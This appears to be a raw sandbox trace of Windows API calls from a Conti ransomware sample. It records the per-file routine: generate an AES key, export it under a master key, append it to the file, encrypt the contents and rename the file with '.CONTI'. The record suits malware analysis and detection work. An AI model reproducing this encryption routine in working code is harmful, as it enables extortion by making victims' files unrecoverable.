	[0112.456] CryptEncrypt (in: hKey=0x17c7db0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x2d7, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x2e0) returned 1
	[0112.456] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.456] WriteFile (in: hFile=0x3f0, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x2e0, lpOverlapped=0x0) returned 1
	[0112.456] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.456] WriteFile (in: hFile=0x3f0, lpBuffer=0x65af2d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x65af2d0*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0112.456] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.456] CloseHandle (hObject=0x3f0) returned 1
	[0112.456] GetProcessHeap () returned 0x1720000
	[0112.456] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.456] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml"
	[0112.456] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.456] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\539__connections_cellular_orange (central african republic)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\539__connections_cellular_orange (central african republic)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.457] GetProcessHeap () returned 0x1720000
	[0112.457] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.457] CryptDestroyKey (hKey=0x17c7db0) returned 1
	[0112.457] GetProcessHeap () returned 0x1720000
	[0112.457] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1819e68 | out: hHeap=0x1720000) returned 1
	[0112.457] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0112.457] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x65af9b0 | out: phKey=0x65af9b0*=0x17c7bf0) returned 1
	[0112.457] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65af9b4, pdwDataLen=0x36ffea4 | out: pbData=0x65af9b4*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0112.458] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\53__connections_cellular_mascom wireless (botswana)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.459] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\53__connections_cellular_mascom wireless (botswana)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0
	[0112.459] GetLastError () returned 0x0
	[0112.459] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=721) returned 1
	[0112.459] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d1
	[0112.459] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.459] SetEndOfFile (hFile=0x3f0) returned 1
	[0112.459] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.459] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.459] WriteFile (in: hFile=0x3f0, lpBuffer=0x65af9b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x65af9b4*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.461] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.461] ReadFile (in: hFile=0x3f0, lpBuffer=0x12130000, nNumberOfBytesToRead=0x2d1, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x2d1, lpOverlapped=0x0) returned 1
	[0112.461] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x2d1, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x2e0) returned 1
	[0112.461] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.461] WriteFile (in: hFile=0x3f0, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x2e0, lpOverlapped=0x0) returned 1
	[0112.461] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.461] WriteFile (in: hFile=0x3f0, lpBuffer=0x65af9a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x65af9a8*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0112.461] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.461] CloseHandle (hObject=0x3f0) returned 1
	[0112.461] GetProcessHeap () returned 0x1720000
	[0112.462] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.462] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml"
	[0112.462] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.462] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\53__connections_cellular_mascom wireless (botswana)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\53__connections_cellular_mascom wireless (botswana)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.462] GetProcessHeap () returned 0x1720000
	[0112.462] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.462] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0112.462] GetProcessHeap () returned 0x1720000
	[0112.462] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180b678 | out: hHeap=0x1720000) returned 1
	[0112.462] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0112.462] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x65b0bf0 | out: phKey=0x65b0bf0*=0x17c7ab0) returned 1
	[0112.463] CryptExportKey (in: hKey=0x17c7ab0, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b0bf4, pdwDataLen=0x36ffea4 | out: pbData=0x65b0bf4*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0112.463] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\540__connections_cellular_orange (dominican republic)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.463] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\540__connections_cellular_orange (dominican republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0
	[0112.464] GetLastError () returned 0x0
	[0112.464] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=726) returned 1
	[0112.464] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d6
	[0112.464] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.464] SetEndOfFile (hFile=0x3f0) returned 1
	[0112.464] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.464] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.464] WriteFile (in: hFile=0x3f0, lpBuffer=0x65b0bf4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x65b0bf4*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.466] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.466] ReadFile (in: hFile=0x3f0, lpBuffer=0x12130000, nNumberOfBytesToRead=0x2d6, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x2d6, lpOverlapped=0x0) returned 1
	[0112.466] CryptEncrypt (in: hKey=0x17c7ab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x2d6, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x2e0) returned 1
	[0112.466] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.466] WriteFile (in: hFile=0x3f0, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x2e0, lpOverlapped=0x0) returned 1
	[0112.466] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.466] WriteFile (in: hFile=0x3f0, lpBuffer=0x65b0be8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x65b0be8*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0112.466] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.466] CloseHandle (hObject=0x3f0) returned 1
	[0112.466] GetProcessHeap () returned 0x1720000
	[0112.466] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.466] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml"
	[0112.466] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.466] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\540__connections_cellular_orange (dominican republic)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\540__connections_cellular_orange (dominican republic)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.467] GetProcessHeap () returned 0x1720000
	[0112.467] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.467] CryptDestroyKey (hKey=0x17c7ab0) returned 1
	[0112.467] GetProcessHeap () returned 0x1720000
	[0112.467] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180b928 | out: hHeap=0x1720000) returned 1
	[0112.467] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0112.467] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x65b2be0 | out: phKey=0x65b2be0*=0x17c7c30) returned 1
	[0112.467] CryptExportKey (in: hKey=0x17c7c30, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b2be4, pdwDataLen=0x36ffea4 | out: pbData=0x65b2be4*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0112.468] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\541__connections_cellular_orange (equatorial guinea)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.468] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\541__connections_cellular_orange (equatorial guinea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0
	[0112.468] GetLastError () returned 0x0
	[0112.468] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=859) returned 1
	[0112.468] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x35b
	[0112.468] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.468] SetEndOfFile (hFile=0x3f0) returned 1
	[0112.469] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.469] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.469] WriteFile (in: hFile=0x3f0, lpBuffer=0x65b2be4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x65b2be4*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.818] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.818] ReadFile (in: hFile=0x3f0, lpBuffer=0x12130000, nNumberOfBytesToRead=0x35b, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x35b, lpOverlapped=0x0) returned 1
	[0112.818] CryptEncrypt (in: hKey=0x17c7c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x35b, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x360) returned 1
	[0112.818] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.818] WriteFile (in: hFile=0x3f0, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x360, lpOverlapped=0x0) returned 1
	[0112.818] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.819] WriteFile (in: hFile=0x3f0, lpBuffer=0x65b2bd8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x65b2bd8*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0112.819] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.819] CloseHandle (hObject=0x3f0) returned 1
	[0112.823] GetProcessHeap () returned 0x1720000
	[0112.823] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.489] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml"
	[0113.489] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.490] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\541__connections_cellular_orange (equatorial guinea)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\541__connections_cellular_orange (equatorial guinea)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.490] GetProcessHeap () returned 0x1720000
	[0113.490] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.490] CryptDestroyKey (hKey=0x17c7c30) returned 1
	[0113.490] GetProcessHeap () returned 0x1720000
	[0113.490] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ba80 | out: hHeap=0x1720000) returned 1
	[0113.490] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
